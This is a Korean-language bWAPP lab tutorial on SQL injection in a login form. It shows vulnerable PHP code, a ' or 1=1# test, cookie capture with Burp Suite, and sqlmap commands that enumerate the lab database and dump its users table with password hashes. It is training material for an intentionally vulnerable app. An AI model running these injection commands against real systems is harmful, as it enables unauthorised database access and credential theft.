웹 해킹 bWAPP - 17. A1 - Injection - SQL Injection(Login Form/User)
웹 해킹 bWAPP - 17. A1 - Injection - SQL Injection(Login Form/User)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Injection
- OWASP Top10 A1 - 악의적인 명령 삽입
- 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를
획득할 수 있는 취약점이다.
- Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션
2. SQLmap
- SQL 인젝션 자동화 도구
- Kali Linux에 설치되어 있음
3. Injection - SQL Injection(Login Form/User)
- 이 시나리오는 로그인시 ID/패스워드를 한줄의 쿼리로 입력받지 않기 때문에 SQLmap를 통해서 확인하도록 한다.
Ex1) Injection - SQL Injection(Login Form/User) 이해
보안 레벨 선택 및 시나리오 선택
'(작은 따옴표)를 입력하여 취약점이 있는지 확인 실시(ID/PW를 한줄의 SQL 구문으로 입력 받지 않음)
' or 1=1# 을 입력하여 로그인 시도 및 로그인 실패
bee@bee-box:/var/www/bWAPP$ ls -l sqli_16.php
-rw-rw-r-- 1 root www-data 6640 2014-11-02 23:52 sqli_16.php
bee@bee-box:/var/www/bWAPP$ vi sqli_16.php
~ 중간 생략 ~
$password = $_POST["password"];
$sql = "SELECT * FROM users WHERE login = '" . $login . "'"; 로그인 입력 (로그인 값만 SQL으로 넘겨줌)
$recordset = mysql_query($sql, $link); if(!$recordset) die("Error: " . mysql_error()); } else $row = mysql_fetch_array($recordset);
// $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>"; }
:q! |
Ex3) 버프슈트를 이용하여 쿠키값 획득 (실습 진행시 쿠키값이 변경될 수 있으니, 안되면 신규 쿠키 정보 확인)
Intercept -> 'Intercept is on' 으로 변경 실시
'abc/abc' 입력 -> 'Login' 버튼 클릭
버프슈트 Intercept 내용 확인
'Intercept is off' 확인
Ex4) SQLmap을 이용한 공격 실시 I
- 인젝션 유형 : SQL Inection(Login Form/User)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_16.php
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=a4a1e3adee790a6ecca9a5fa4b69a7f3" --data "login=abc&password=abc&form=submit" --dbs
~ 중간 생략 ~
available databases [5]:
[*] bWAPP
[*] cisco
[*] drupageddon
[*] information_schema
[*] mysql
[13:22:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 13:22:37
Ex5) SQLmap을 이용한 공격 실시 II
- 인젝션 유형 : SQL Inection(Login Form/User)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_16.php
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=a4a1e3adee790a6ecca9a5fa4b69a7f3" --data "login=abc&password=abc&form=submit" -D bWAPP --tables
~ 중간 생략 ~
Database: bWAPP
[5 tables]
+----------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+----------+
[13:24:38] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 13:24:38
Ex6) SQLmap을 이용한 공격 실시 III
- 인젝션 유형 : SQL Inection(Login Form/User)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_16.php
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=a4a1e3adee790a6ecca9a5fa4b69a7f3" --data "login=abc&password=abc&form=submit" -D bWAPP -T users --columns
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=a4a1e3adee790a6ecca9a5fa4b69a7f3" --data "login=abc&password=abc&form=submit" -D bWAPP -T users -C login,password,secret --dump
~ 중간 생략 ~
Database: bWAPP
Table: users
[2 entries]
+--------+------------------------------------------------+-------------------------------------+
| login | password | secret |
+--------+------------------------------------------------+-------------------------------------+
| A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) | A.I.M. or Authentication Is Missing |
| bee | 6885858486f31043e5839c735d99457f045affd0 (bug) | Any bugs? |
+--------+------------------------------------------------+-------------------------------------+
[*] shutting down at 13:27:49
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 17. bWAPP Injection - SQL Injection(Login Form&User) https://youtu.be/3YC1264OsJw